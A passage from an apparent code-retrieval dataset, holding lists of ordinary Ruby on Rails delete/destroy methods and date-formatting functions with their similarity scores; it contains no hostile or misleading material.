"def destroy\r\n find_record\r\n# Which permission is required to delete \r\n permission = if params['operation'].nil?\r\n if @record.respond_to?('created_by') # needs can_delete_all if created_by is present and not owner\r\n (@record.created_by == session[:user_id]) ? DcPermission::CAN_DELETE : DcPermission::CAN_DELETE_ALL\r\n else\r\n DcPermission::CAN_DELETE # by default\r\n end\r\n else # enable or disable record\r\n if @record.respond_to?('created_by')\r\n (@record.created_by == session[:user_id]) ? DcPermission::CAN_EDIT : DcPermission::CAN_EDIT_ALL\r\n else\r\n DcPermission::CAN_EDIT # by default\r\n end\r\n end\r\n ok2delete = dc_user_can(permission)\r\n#\r\n case\r\n# not authorized \r\n when !ok2delete then\r\n flash[:error] = t('drgcms.not_authorized')\r\n return index\r\n when params['operation'].nil? then\r\n# Process before delete callback\r\n if (m = callback_method('before_delete') )\r\n ret = call_callback_method(m)\r\n# Don't do anything if return is false\r\n return index if ret.class == FalseClass\r\n end\r\n# document deleted\r\n if @record.destroy\r\n save_journal(:delete)\r\n flash[:info] = t('drgcms.record_deleted')\r\n# Process after delete callback\r\n if (m = callback_method('after_delete') ) then call_callback_method(m) end\r\n# Process return_to link\r\n return process_return_to(params[:return_to]) if params[:return_to]\r\n else\r\n flash[:error] = dc_error_messages_for(@record)\r\n end\r\n return index\r\n# deaktivate document \r\n when params['operation'] == 'disable' then\r\n if @record.respond_to?('active')\r\n @record.active = false\r\n save_journal(:update, @record.changes)\r\n update_standards()\r\n @record.save\r\n flash[:info] = t('drgcms.doc_disabled')\r\n end\r\n# reaktivate document\r\n when params['operation'] == 'enable' then\r\n if @record.respond_to?('active')\r\n @record.active = true\r\n update_standards()\r\n save_journal(:update, @record.changes)\r\n @record.save\r\n flash[:info] = t('drgcms.doc_enabled')\r\n end\r\n end\r\n#\r\n @parms['action'] = 'update'\r\n render action: :edit\r\nend",
"def destroy\n @user.transaction do\n begin\n if @user.update_attribute(:is_deleted, 'true')\n @user.update_attribute(:phone_no, '')# phone no and email are considered to be unique, so flushing them into empty for deleted users.\n @user.update_attribute(:email, '')\n respond_to do |format|\n format.html { redirect_to '/users' }\n format.json { head :no_content }\n end \n end\n rescue Exception=>e \n logger.warn \"in error ...... #{e}\"\n end\n end\n end",
"def destroy\n @trigger_tasks_form = false\n table = 'tasks_errors'\n begin\n return format_response_key '.not_logged_in' unless logged_in?\n # check user.id\n id = params[:id]\n user = User.find_by_id(id)\n if !user\n logger.debug2 \"invalid request. User with id #{id} was not found\"\n return format_response_key '.invalid_request'\n end\n logger.debug2 \"user2 = #{user.debug_info}\"\n if !login_user_ids.index(user.user_id)\n logger.debug2 \"invalid request. Not logged in with user id #{id}\"\n return format_response_key '.not_logged_in'\n end\n\n if !user.deleted_at\n # delete mark user and schedule logical delete task\n user.update_attribute(:deleted_at, Time.new)\n other_user = @users.find { |u| u.id != user.id and !u.deleted_at }\n add_task \"User.delete_user(#{user.id})\", 5\n @trigger_tasks_form = true\n key = other_user ? '.ok2_html' : '.ok1_html'\n return format_response_key key, user.app_and_apiname_hash.merge(:url => API_APP_SETTING_URL[user.provider] || '#')\n end\n\n if user.deleted_at > 6.minutes.ago\n # wait - waiting for logical and physical delete\n return format_response_key '.pending_html', user.app_and_apiname_hash.merge(:url => API_APP_SETTING_URL[user.provider] || '#')\n end\n\n # physical delete user now (is normally done in util.new_messages_count)\n key, options = User.delete_user(user.id)\n return format_response_key(key, options) if key\n\n # delete ok\n logout(user.provider)\n format_response_key '.completed_html', user.app_and_apiname_hash.merge(:url => API_APP_SETTING_URL[user.provider] || '#')\n\n rescue => e\n logger.debug2 \"Exception: #{e.message.to_s}\"\n logger.debug2 \"Backtrace: \" + e.backtrace.join(\"\\n\")\n format_response_key \".exception\", :error => e.message.to_s\n end\n end",
"def destroy\n # destroy not implemented - only admins may \"purge\" or \"delete\" users\n raise \"This action is not implemented\"\n end",
"def delete\n deleted\n save\n end",
"def delete; update(:status => 'DELETED'); end",
"def backend_deleteUser(param) \n @Tasks.delete(param) if @Tasks.include? param \n end",
"def destroy\r\n\r\n end",
"def destroy\n find_user\n if !@user.nil?\n use_cases=@req.use_cases.find :all\n if @user.privilige==\"Admin\" and @req.status!=\"Approved\"\n if @req.destroy\n delete_usecase(use_cases)\n flash[:notice]=\"Req#{params[:id]} was successfully deleted\"\n redirect_to requirements_path\n else\n redirect_to :back\n end\n elsif !current_user.nil? and @user.id==@req.user_id and @req.status!=\"Approved\" and (@user.privilige!=\"Read\")\n if @req.destroy\n delete_usecase(use_cases)\n flash[:notice]=\"Req#{params[:id]} was successfully deleted\"\n redirect_to requirements_path\n else\n redirect_to :back\n end\n elsif !current_member.nil? and @user.id==@req.member_id and @req.status!=\"Approved\" and (@user.privilige!=\"Read\")\n if @req.destroy\n delete_usecase(use_cases)\n flash[:notice]=\"Req#{params[:id]} was successfully deleted\"\n redirect_to requirements_path\n else\n redirect_to :back\n end\n else\n flash[:notice]=t(:requirement_delete_message_with_out_permisson)\n redirect_to :back\n end\n else\n redirect_to sign_in_url\n end\n end",
"def delete(user)\n Rails.logger.debug \"Call to poll.delete\"\n reqUrl = \"/api/poll/#{self.id}\" #Set the request url\n rest_response = MwHttpRequest.http_delete_request(reqUrl,user['email'],user['password']) #Make the DELETE request to the server with the required parameters\n Rails.logger.debug \"Response from server: #{rest_response.code} #{rest_response.message}: #{rest_response.body}\"\n if rest_response.code == \"200\" #Validate if the response from the server is 200, which means OK\n return true, rest_response #Return success\n else\n return false, \"#{rest_response.code}\", \"#{rest_response.message}\" #Return error\n end\n end",
"def deleterequests\n assert_privileges(rbac_feature_id(\"miq_request_delete\"))\n\n miq_requests = find_records_with_rbac(MiqRequest, checked_or_params)\n if miq_requests.empty?\n add_flash(_(\"No Requests were selected for deletion\"), :error)\n else\n destroy_requests(miq_requests)\n end\n\n unless flash_errors?\n if @lastaction == \"show_list\" # showing a list\n add_flash(_(\"The selected Requests were deleted\"))\n else\n @single_delete = true\n add_flash(_(\"The selected Request was deleted\"))\n end\n end\n\n if @flash_array.present?\n flash_to_session\n javascript_redirect(:action => 'show_list')\n else\n show_list\n replace_gtl\n end\n end",
"def _destroy_delete\n delete\n end",
"def _destroy_delete\n delete\n end",
"def delete\n destroy\n # update_attributes(deleted: true)\n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def deleteuser(del_id)\n db.execute(\"DELETE FROM users WHERE user_id=?\", del_id)\n db.execute(\"DELETE FROM listings WHERE user_id=?\", del_id)\nend",
"def destroy\n @user = User.find(params[:id])\n if is_admin?\n\n if @user.role == \"Super Administrator\"\n flash[:notice] = \"The Super Administrator cannot be deleted\"\n redirect_to @user\n return\n end\n if @user.role == \"Administrator\"\n if !@superadmin_user\n if !(@current_user == @user)\n flash[:notice] = \"Only the super administrator can delete other administrators\"\n redirect_to @user\n return\n end\n end\n end\n else\n if !(@current_user == @user)\n flash[:notice] = \"You do not have permission to delete this user!\"\n redirect_to @current_user\n return\n end\n end\n @posts = Post.where(:user_id => @user.id).all\n #@replies = Reply.where(:user_id => @user.id).all\n @anonymous = User.where(:username => 'Anonymous').first\n @posts.each do |p|\n p.update_attributes(:user_id => @anonymous.id)\n end\n #@replies.each do |r|\n # r.update_attributes(:user_id => @anonymous.id)\n #end\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n\n logger.tagged(\"destroy\",\"beginning\") {logger.debug \"I'M HERE!\"}\n @user = User.find(params[:id])\n can_destroy_hash = Permissions.hasMorePermissions(@current_user,@user)\n @can_destroy = can_destroy_hash[:has_permission]\n if @can_destroy\n\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_path }\n format.json { head :no_content }\n end\n else\n flash[:warning] = can_destroy_hash[:permission_message]\n redirect_to user_path(@user)\n end\n\n end",
"def delete\n # All work done via before_filters.\n end",
"def del\n delete\n end",
"def delete\n self.class.delete(\"evss_dependents_retrieve_#{@user.uuid}\")\n end",
"def delete\n admin = Admin.where(id: params[:id]).first\n admin.deleted_at = Time.now\n admin.deleted_time = Time.now.to_i\n admin.deleted_user = 1\n if admin.save\n flash[:notice] = 'ユーザー情報を削除しました'\n render json: { success: true }\n else\n flash[:error] = 'ユーザー情報の削除に失敗しました'\n render json: { success: false }\n end\n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n @user=find_user\n if !@user.nil?\n reqs=@use_case.requirements.find :all\n if @user.privilige==\"Admin\" and @use_case.status==\"Approved\"\n if @use_case.destroy\n delete_req(reqs)\n flash[:notice]=\"Use case#{params[:id]} was successfully deleted\"\n redirect_to use_cases_path\n else\n redirect_to :back\n end\n elsif !current_user.nil? and @user.id==@use_case.user_id and @use_case.status!=\"Approved\" and (@user.privilige!=\"Read\")\n if @use_case.destroy\n delete_req(reqs)\n flash[:notice]=\"Use case#{params[:id]} was successfully deleted\"\n redirect_to use_cases_path\n else\n redirect_to :back\n end\n elsif !current_member.nil? and @user.id==@use_case.member_id and @use_case.status!=\"Approved\" and (@user.privilige!=\"Read\")\n if @use_case.destroy\n delete_req(reqs)\n flash[:notice]=\"Use case#{params[:id]} was successfully deleted\"\n redirect_to use_cases_path\n else\n redirect_to :back\n end\n else\n flash[:notice]=t(:requirement_delete_message_with_out_permisson)\n redirect_to :back\n end\n else\n redirect_to sign_in_url\n end\n end",
"def delete\n\t\tcurrent_user\n\t\tcurrent_user.regexpressions.destroy_all\n\t\tcurrent_user.tasks.destroy_all\n\t\tcurrent_user.clouds.destroy_all\n\t\tcurrent_user.platforms.destroy_all\n\t\tcurrent_user.demos.destroy_all\n\t\tcurrent_user.favorites.destroy_all\n\tend",
"def destroy\n unless @link_request.owned_by(@user)\n logger.error \"#{@user.netid} tried to delete request #{@link_request.id}\"\n return redirect_to link_requests_path, notice: \"You do not have enough access to delete that request\"\n end\n # if @link_request.status == :approved\n @link_request.delete_by(@user)\n # else\n # @link_request.destroy\n Activity.create(user: @user, verb: 'destroy', link_request: @link_request, occurred: Time.now)\n # end\n \n respond_to do |format|\n format.html { redirect_to link_requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @action = request.referrer\n @user.delflag = true\n if @user.update_attributes(params[:user])\n @customer = Customer.where(:user_id => \"#{@user.id}\", :delflag => false)\n if @customer.present?\n @customer.each do |c|\n c.delflag = true\n Customer.where(:id => c.id).update_all(:deflag => true)\n end\n end\n @vehicle = Vehicle.where(:user_id => \"#{@user.id}\", :delflag => false)\n if @vehicle.present?\n @vehicle.each do |v|\n v.delflag = true\n Vehicle.where(:id => v.id).update_all(:deflag => true)\n end\n end\n @location = Location.where(:user_id => \"#{@user.id}\", :delflag => false)\n if @location.present?\n @location.each do |l|\n l.delflag = true\n Location.where(:id => l.id).update_all(:deflag => true)\n end\n end\n @org = Organization.where(:user_id => \"#{@user.id}\", :delflag => false)\n if @org.present?\n @org.each do |o|\n o.delflag = true\n Organization.where(:id => o.id).update_all(:deflag => true)\n end\n end\n @floor = Floor.where(:user_id => \"#{@user.id}\", :delflag => false)\n if @floor.present?\n @floor.each do |f|\n f.delflag = true\n Floor.where(:id => f.id).update_all(:deflag => true)\n end\n end\n @user = User.where(:parent_id => \"#{@user.id}\", :delflag => false)\n if @user.present?\n @user.each do |u|\n u.delflag = true\n user.where(:id => u.id).update_all(:deflag => true)\n end\n end\n\n flash[:notice] = \"Successfully Deleted\"\n respond_to do |format|\n format.html { redirect_to @action }\n format.json { head :no_content }\n end \n else\n flash[:notice] = \"Could not Deleted\"\n respond_to do |format|\n format.html { redirect_to @action }\n format.json { head :no_content }\n end\n end\n\nend",
"def destroy\n return if current_user.id == @user.id\n ActiveRecord::Base.transaction do\n @user.status = Status.find(Status::VALUES[:deleted])\n @user.save validate: false\n respond_to do |format|\n format.html { redirect_to usuarios_url, notice: \"El usuario #{@user.email} se marco como borrado.\" }\n format.json { head :no_content }\n end\n end\n end",
"def test_deleted\n assert_difference('User.count', -1 , \"Delete False\") do\n user = User.find(980190962);\n user.delete\n end\n end",
"def test_admin_can_delete_user\n count_before = User.count\n count_memberships = Membership.count\n @request.session[:user]=users(:quentin)\n delete :destroy, :id => users(:lonely_user), :format => 'xml'\n assert_response 200\n assert_response :success\n assert_equal count_before - 1, User.count\n assert_equal count_memberships - 1, Membership.count\n end",
"def delete\n Authentication.where(user_id: id).each { |auth| auth.delete }\n super\n end",
"def delete(user)\n Rails.logger.debug \"Call to photo.delete\"\n if !self.file.blank?\n Util.delete_image(self.file) #Delete the image file from the image server\n end\n reqUrl = \"/api/photo/#{self.id}\" #Set the request url\n rest_response = MwHttpRequest.http_delete_request(reqUrl,user['email'],user['password'])#Make the DELETE request to the server with the required parameters\n Rails.logger.debug \"Response from server: #{rest_response.code} #{rest_response.message}: #{rest_response.body}\"\n if rest_response.code == \"200\" #Validate if the response from the server is 200, which means OK\n return true, rest_response #Return success\n else\n return false, \"#{rest_response.code}\", \"#{rest_response.message}\" #Return error\n end\n end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy \r\n\r\n end",
"def delete!\n deleted\n save!\n end",
"def destroy\n # user_valid= User.find_by_email(current_user) after FE is bring screen\n\n if @current_user.admin\n\n @reversal = Reversal.find(params[:id])\n @reversal.destroy\n \n # format.html { redirect_to XXX_url, notice: 'Kit was successfully deleted.' }\n render json: @revesal, notice: 'Reversal was successfully deleted.'\n else\n render json: @reversal, notice: \"you don't have access to deleted.\"\n end\n\n\n end",
"def delete(name)\n\n end",
"def delete_post\n\t \n \tend",
"def delete(*rest) end",
"def delete current_user\n raise RequestError.new(:internal_error, \"Delete: no user specified\") if current_user.nil?\n\n # remove all its files\n self.files.each { |item| item.delete current_user }\n # remove all its children, meaning all its subdirectories. (all sub-sub-directories and sub-files will me removed as well)\n self.childrens.each { |children| children.delete current_user }\n\n if current_user.id != self.user_id then # if random owner \n # remove all links between this folder and the current user only\n FileUserAssociation.all(x_file_id: self.id, user_id: current_user.id).destroy!\n # remove all associations where this folder is a children of a folder belonging to the current user only\n FolderFolderAssociation.all(children_id: self.id).each do |asso|\n asso.destroy! if current_user.x_files.get(asso.parent_id)\n end\n # No sharing for folders: no SharedToMeAssociations\n\n else # if true owner \n # remove all links between this folder and ALL users\n FileUserAssociation.all(x_file_id: self.id).destroy!\n # remove all associations where this folder is a children of a folder belonging ALL users\n FolderFolderAssociation.all(children_id: self.id).destroy!\n # No sharing for folders: no SharedByMeAssociations\n\n # No need to remove the association where this folder is a parent (of a file or folder)\n # because the children have already been removed and all theirs associations\n #\n # FolderFolderAssociation.all(parent_id: self.id).destroy!\n # FileFolderAssociation.all(parent_id: self.id).destroy!\n \n # now remove the entity\n self.destroy!\n end\n end",
"def delete(user)\n Rails.logger.debug \"Call to article.delete\"\n photo_deletion = true #Initialize the photo deletion flag to true\n if self.picture.any? #Check if there are any photos related to the article\n for picture_obj in self.picture #Delete all photo nodes owned by the article\n photo = Photo.new(id:picture_obj[\"nodeId\"])#Create the node object to delete\n resp_photo = photo.delete(user)#Delete the photo node\n if !resp_photo[0] #An error has ocurred when deleting photos\n photo_deletion = false #Set the photo deletion flag to false\n end\n end\n Util.delete_image_folder(@@images_directory,self.id.to_s)#Delete the entire image folder related to the article\n end\n \n if !photo_deletion #Validate if there were error when deleting photos\n return false, resp[1], resp[2] #Return error\n end\n\n reqUrl = \"/api/newsArticle/#{self.id}\" #Set the request url\n rest_response = MwHttpRequest.http_delete_request(reqUrl,user['email'],user['password']) #Make the DELETE request to the server with the required parameters\n Rails.logger.debug \"Response from server: #{rest_response.code} #{rest_response.message}: #{rest_response.body}\"\n if rest_response.code == \"200\" #Validate if the response from the server is 200, which means OK\n return true, rest_response #Return success\n else\n return false, \"#{rest_response.code}\", \"#{rest_response.message}\" #Return error\n end\n end",
"def destroy\n # why i have to queue two times itinerary? for set_itinerary_delete and here as well?\n @itinerary = Itinerary.find(params[:id])\n\n if @itinerary.user_id == current_user.id\n @itinerary.destroy\n respond_to do |format|\n format.html { redirect_to edit_user_url(current_user), notice: 'Itinerary was successfully destroyed.' }\n format.json { head :no_content }\n end\n else\n redirect_to root_path\n end\n end",
"def delete\n appctrl_delete( 'User' )\n end",
"def delete_accounts\n end",
"def test_user_delete\n # Get the user info\n user = get_user_by_username('test-ruby-user12356')\n # Check to see if the returned user was the correct one.\n # Doubles to check whether the returned data exists in a proper form\n assert_equal('test-ruby-user12356', user['UserName'])\n # Delete the user based upon the returned user's id\n ap delete_user_data(user['UserId'])\n # assert if referencing this user, again, causes an error.\n user = get_user_by_username('test-ruby-user12356')\n assert_raise { delete_user_data(user['UserId']) }\n end",
"def destroy\n @delete_user=DeleteUser.new({:username=>@user.username,:nickname=>@user.nickname,:email=>@user.email,:nation_num=>@user.nation_num,:mobile_num=>@user.mobile_num})\n \n @delete_user.transaction do\n @user.destroy\n @s_save=@delete_user.save!\n end\n\n respond_to do |format|\n format.html { redirect_to users_path }\n format.json { head :no_content }\n end\n end",
"def test_admin_can_delete_user\n george = setup_dummy_user(\"george\")\n \n # first log in\n get '/login' # need to do this to set up the form container.\n post '/login', { :username => GOOD_USERNAME, :password => GOOD_PASSWORD }\n\n user_id = User.find_by_username(\"george\").id\n\n post \"/user/delete/#{user_id}\"\n assert last_response.ok?\n assert last_response.body.include?(\"has been deleted\")\n assert User.find_by_username(\"george\") == nil\n\n # Try that again and we should get a 'user unknown' error\n post \"/user/delete/#{user_id}\"\n assert last_response.ok?\n assert last_response.body.include?(\"The user id supplied was not recognised\")\n end",
"def delete(action, **args); end",
"def delete!\n return if @deleted\n delete_page = @client.get @delete_url\n delete_form = delete_page.form_with(:action => /delete/i)\n delete_button = delete_form.button_with(:name => /delete/i)\n delete_form.submit delete_button\n @deleted = true\n end",
"def delete\n params = self.class.prepare_params_for(:delete, \"userName\" => user_name)\n response = self.class.perform(params)\n self.class.check_response(response)\n end",
"def destroy\n\t\t\n\tend",
"def delete_user_for_tenant(args = {}) \n delete(\"/tenants.json/#{args[:tenantId]}/users/#{args[:userId]}\", args)\nend",
"def verify_permissions_for_deletion\n if params[:folder_structure_owner_id].blank?\n render status: 422, json: { errors: [\"Sorry cannot do that.\"] }; return\n end\n\n if params[:folder_structure_owner_type] == 'GroupUser'\n @folder_structure_owner = GroupUser.find(params[:folder_structure_owner_id])\n else\n @folder_structure_owner = User.find(params[:folder_structure_owner_id])\n end\n\n unless @standard_base_document.is_destroyable_by_user?(current_user, @folder_structure_owner)\n render status: 422, json: { errors: [\"You don't have the permissions to delete this document type.\"] }; return\n end\n\n if @standard_base_document.documents.joins(:document_owners).where(document_owners: {owner: @folder_structure_owner}).exists?\n render status: 422, json: { errors: [\"Selected category is not empty.\"] }\n end\n end",
"def after_soft_delete; end",
"def delete\n\t\tfalse\n\tend",
"def destroy\r\n end",
"def delete\n __log_activity\n __debug_route\n return redirect_to action: :delete_select if identifier.blank?\n @list = delete_records[:list]\n #user_authorize!(@list) # TODO: authorize :delete\n unless @list.present? || last_operation_path&.include?('/destroy')\n # noinspection RubyMismatchedArgumentType\n raise \"No records match #{quote(identifier_list)}\" # TODO: I18n\n end\n rescue => error\n error_response(error, delete_select_account_path)\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def destroy\n \n end",
"def destroy\n @medication = Medication.find(params[:id])\n @user_id = @medication.user_id\n if @medication.nil?\n send_error_json(nil, \"Delete error\", 400)\n return\n end\n\n if !check_owner()\n send_error_json(@medication.id, \"Unauthorized\", 403)\n return\n end\n\n if @medication.destroy\n send_success_json(@medication.id, {:msg => \"Deleted successfully\"})\n else\n send_error_json(@medication.id, \"Delete error\", 400)\n end\n\n end"
] | [
"0.768202",
"0.73609495",
"0.7225051",
"0.72061116",
"0.7136039",
"0.70622987",
"0.70622987",
"0.70622987",
"0.70622987",
"0.70622987",
"0.70622987",
"0.70622987",
"0.70254344",
"0.6971088",
"0.69681287",
"0.696418",
"0.6873167",
"0.67636335",
"0.6734982",
"0.66822654",
"0.6653067",
"0.66512257",
"0.6616019",
"0.66154236",
"0.6609876",
"0.6597367",
"0.6571862",
"0.6565965",
"0.65398705",
"0.65206456",
"0.6513148",
"0.65063107",
"0.6476412",
"0.64664656",
"0.64488894",
"0.6447378",
"0.6439096",
"0.6439096",
"0.6438118",
"0.64357877",
"0.64357877",
"0.6432619",
"0.64268637",
"0.64261276",
"0.6418914",
"0.6405463",
"0.64054304",
"0.6393954",
"0.63935494",
"0.63935494",
"0.63935494",
"0.63935494",
"0.63935494",
"0.63935494",
"0.63935494",
"0.63905245",
"0.63850653",
"0.6366848",
"0.63640565",
"0.6361156",
"0.6359639",
"0.6354726",
"0.63539225",
"0.6350483",
"0.6345031",
"0.6345031",
"0.6345031",
"0.6345031",
"0.6345031",
"0.6345031",
"0.6345031",
"0.6345031",
"0.6345031",
"0.6345031",
"0.63446087",
"0.6344307",
"0.6342595",
"0.63388985",
"0.63385767",
"0.63286656",
"0.63127464",
"0.63090765",
"0.62965894",
"0.6289523",
"0.6288796",
"0.6285149",
"0.6280815",
"0.6280664",
"0.62781143",
"0.62753093",
"0.6274225",
"0.6271049",
"0.6268497",
"0.6267875",
"0.6263697",
"0.6255484",
"0.62552315",
"0.6255132",
"0.62395394",
"0.6232701",
"0.622671"
] | 0.0 | -1 |
=begin if date has then split the date on the reverse and join with dot =end | def format_date(date)
return date unless !!date.match(/[\-]+/)
date.split(/\-/).reverse.join(".")
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def service_date_reference\n service_date_elements, svc_date_segments = [], []\n from_date = service.date_of_service_from.strftime(\"%Y%m%d\") unless service.date_of_service_from.blank?\n to_date = service.date_of_service_to.strftime(\"%Y%m%d\") unless service.date_of_service_to.blank? \n if from_date\n service_date_elements << 'DTM'\n service_date_elements << '150'\n service_date_elements << from_date\n svc_date_segments << service_date_elements.join(@element_seperator)\n end\n if to_date\n service_date_elements = []\n service_date_elements << 'DTM'\n service_date_elements << '151'\n service_date_elements << to_date\n svc_date_segments << service_date_elements.join(@element_seperator)\n end\n svc_date_segments unless svc_date_segments.blank?\n end",
"def to_s\n return last_day if start_date == end_date\n \n format = ELEMENTS\n format = format.chomp(' %Y') if start_date.year == end_date.year\n format = format.chomp(' %b') if start_date.month == end_date.month\n first_day = start_date.strftime(format)\n first_day + ' - ' + last_day\n end",
"def convert_date(datestr)\n components = datestr.split('.')\n components.unshift(components.pop).join('-')\n end",
"def split_date\n\t self.date.to_s.split(\" \").first\n\tend",
"def segment_ends_s\n [from_end.to_s, to_end.to_s].join(\"---\")\n end",
"def segment_ends_s\n [from_end.to_s, to_end.to_s].join(\"---\")\n end",
"def ead_date_display(parts = Array.new)\n unless self.unitdate.empty?\n parts << self.unitdate\n else\n unless self.unitdate_inclusive.empty? and self.unitdate_bulk.empty?\n parts << \"Inclusive,\"\n parts << self.unitdate_inclusive\n unless self.unitdate_bulk.empty?\n parts << \";\"\n parts << self.unitdate_bulk\n end\n end\n end\n return parts.join(\" \")\n end",
"def service_date_reference\n svc_date_segments = []\n from_date = @service.date_of_service_from.strftime(\"%Y%m%d\") unless @service.date_of_service_from.blank?\n to_date = @service.date_of_service_to.strftime(\"%Y%m%d\") unless @service.date_of_service_to.blank?\n from_eqls_to_date = (from_date == to_date)\n is_client_upmc = (@client_name == \"UNIVERSITY OF PITTSBURGH MEDICAL CENTER\")\n if from_date && (!to_date || from_eqls_to_date || @client.group_code.to_s.strip == 'KOD')\n if(@client_name == \"ISTREAMS\" && from_date == \"20000101\")\n svc_date_segments = dtm_472(\"00000000\")\n elsif !(is_client_upmc && from_date == \"20000112\")\n svc_date_segments = dtm_472(from_date) if can_print_service_date(from_date)\n end\n else\n svc_date_segments << dtm_150(from_date) if can_print_service_date(from_date)\n svc_date_segments << dtm_151(to_date) if can_print_service_date(to_date)\n svc_date_segments unless svc_date_segments.join.blank?\n end\n end",
"def change_date_form(date)\n\n \n date_array = date.to_s.split(\"-\")\n puts date_array\n new_date = date_array[2]+ \"/\" + date_array[0] + \"/\" + date_array[1]\n puts new_date.inspect\n return new_date\n\n end",
"def unitdate_parts(unitdate_normal)\n unless unitdate_normal.blank? || /(\\d{4})\\/(\\d{4})/.match(unitdate_normal).nil?\n unitdate_normal.split(/\\//)\n else\n []\n end\n end",
"def format_date(string)\n return string.split(/-/).reverse.join('.') if string.match(/-/)\n string\nend",
"def dates\n start_s = start_date ? start_date.to_s : '?'\n end_s = end_date ? end_date.to_s : '?'\n \"#{start_s} to #{end_s}\"\n end",
"def format_start_end_date(s_date, e_date)\n # Format the dates based on month and year.\n if (s_date.mon == e_date.mon) && (s_date.year == e_date.year)\n date = s_date.strftime(\"%b %d-\").to_s + e_date.strftime(\"%d, %Y\").to_s\n elsif s_date.year == e_date.year\n date = s_date.strftime(\"%b %d - \").to_s + e_date.strftime(\"%b %d, %Y\").to_s\n else\n date = s_date.strftime(\"%b %d, %Y - \").to_s + e_date.strftime(\"%b %d, %Y\").to_s\n end\n date\n end",
"def palindrome_date_after ( starting_date )\n if not starting_date.valid?\n print \"ERROR: \\\"#{starting_date}\\\" is not a valid date\\n\"\n return\n end\n\n # cut the year into the first two and last two digits\n starting_date_year_beginning = starting_date.year[0..1]\n starting_date_year_ending = starting_date.year[2..3]\n\nend",
"def format_date1(original_date)\n original_date.sub(/\\A(\\d\\d\\d\\d)-(\\d\\d)-(\\d\\d)\\z/, '\\3.\\2.\\1')\nend",
"def calculated_dates\n [period1_from_date,period1_end_date,\n period2_from_date, period2_end_date] \n end",
"def date_reformatting(date)\n #date.split('/')..join(',')\n Date.parse.(date).strftime'[%m, %d, %Y]'\nend",
"def normalize_date_strings(date_strings, separator = '/')\n return date_strings if RUBY_VERSION < '1.9'\n date_strings = [*date_strings] # ensure Array\n date_strings.map! do |ds|\n fragments = ds.split(separator)\n [fragments[1], fragments[0], fragments[2]].join(separator)\n end\n end",
"def test_String_008_format_dateString_mdyy\n \n # require 'date'\n \n puts2(\"\")\n puts2(\"#######################\")\n puts2(\"Testcase: test_String_008_format_dateString_mdyy\")\n puts2(\"#######################\")\n \n puts2(\"\\nTesting slash delimited dates expressed as STRINGS\")\n \n # Array of date strings to test\n aDateStrings = [\n \"12/31/2000\",\n \"1/1/01\",\n \"01/02/2002\",\n \"01/3/2003\",\n \"11/5/1900\",\n \"10/06/1901\"\n ]\n \n # Loop through the list, converting each date string\n aDateStrings.each do | sDateString |\n puts2(\"#{sDateString} formatted as \" + sDateString.format_dateString_mdyy(\"/\"))\n end\n \n puts2(\"\\nTesting period delimited dates expressed as STRINGS\")\n # Array of date strings to test\n aDateStrings = [\n \"12.31.2000\",\n \"1.1.01\",\n \"01.02.2002\",\n \"01.3.2003\",\n \"11.5.1900\",\n \"10.06.1901\"\n ]\n \n # Loop through the list, converting each date string\n aDateStrings.each do | sDateString |\n puts2(\"#{sDateString} formatted as \" + sDateString.format_dateString_mdyy(\".\"))\n end\n \n end",
"def format_event_date(start_date, end_date)\n d1 = Date.parse(start_date) rescue nil\n d2 = Date.parse(end_date) rescue nil\n (d1 && d2) ? (d1..d2) : [d1, d2].compact\n end",
"def enrollment_dates\n if start_date\n \"#{start_date_formatted} - #{end_date_formatted}\"\n end\n end",
"def extractDateList(start_date, end_date)\n obj_start=Date.new(start_date[0..3].to_i, start_date[4..5].to_i, start_date[6..7].to_i)\n obj_end=Date.new(end_date[0..3].to_i, end_date[4..5].to_i, end_date[6..7].to_i)\n date_num=(obj_end-obj_start+1).to_i\n date_array=Array.new\n date_num.times do |i|\n date_now=obj_start+i\n date_array << date_now.strftime(\"%Y%m%d\")\n end\n date_array\nend",
"def date_reformatting(date)\n month = [[\"January\", 1], [\"February\", 2], [\"March\", 3], [\"April\", 4], [\"May\", 5], [\"December\", 12], [\"Dec\", 12]]\n data = date.split(\" \")\n if data.length == 1\n data = data[0].split(\"-\")\n end\n if data.length == 1\n data = data[0].split(\".\")\n end\n if data.length == 1\n data = data[0].split(\"/\")\n end\n \n send_back = []\n\n month.each do |moth|\n if moth[0] = data[0]\n send_back[0] = moth[1].to_i\n end\n end\n\n send_back[1] = data[1].tr(\",\", \" \").to_i\n send_back[2] = data[2].to_i\n\n return send_back\nend",
"def to_s\n fy = first.year.to_s\n end_year = last.year\n fy += \"-\" + end_year.to_s unless first.year == end_year\n fy\n end",
"def test_String_009_format_dateString_mmddyyyy\n \n #require 'date'\n \n puts2(\"\")\n puts2(\"#######################\")\n puts2(\"Testcase: test_String_009_format_dateString_mmddyyyy\")\n puts2(\"#######################\")\n \n puts2(\"\\nTesting slash delimited dates expressed as STRINGS to the 1900's\")\n \n # Array of date strings to test\n aDateStrings = [\n \"1/1/01\",\n \"01/02/01\",\n \"11/1/01\",\n \"1/10/01\",\n \"12/31/2000\",\n ]\n \n # Loop through the list, converting each date string\n aDateStrings.each do | sDateString |\n puts2(\"#{sDateString} formatted as \" + sDateString.format_dateString_mmddyyyy(\"/\" ,\"19\"))\n end\n \n \n puts2(\"\\nTesting period delimited dates expressed as STRINGS to the 2300's\")\n \n # Array of date strings to test\n aDateStrings = [\n \"1.1.01\",\n \"01.02.01\",\n \"11.1.01\",\n \"1.10.01\",\n \"12.31.2000\",\n ]\n \n # Loop through the list, converting each date string\n aDateStrings.each do | sDateString |\n puts2(\"#{sDateString} formatted as \" + sDateString.format_dateString_mmddyyyy(\".\" ,\"23\"))\n end\n \n end",
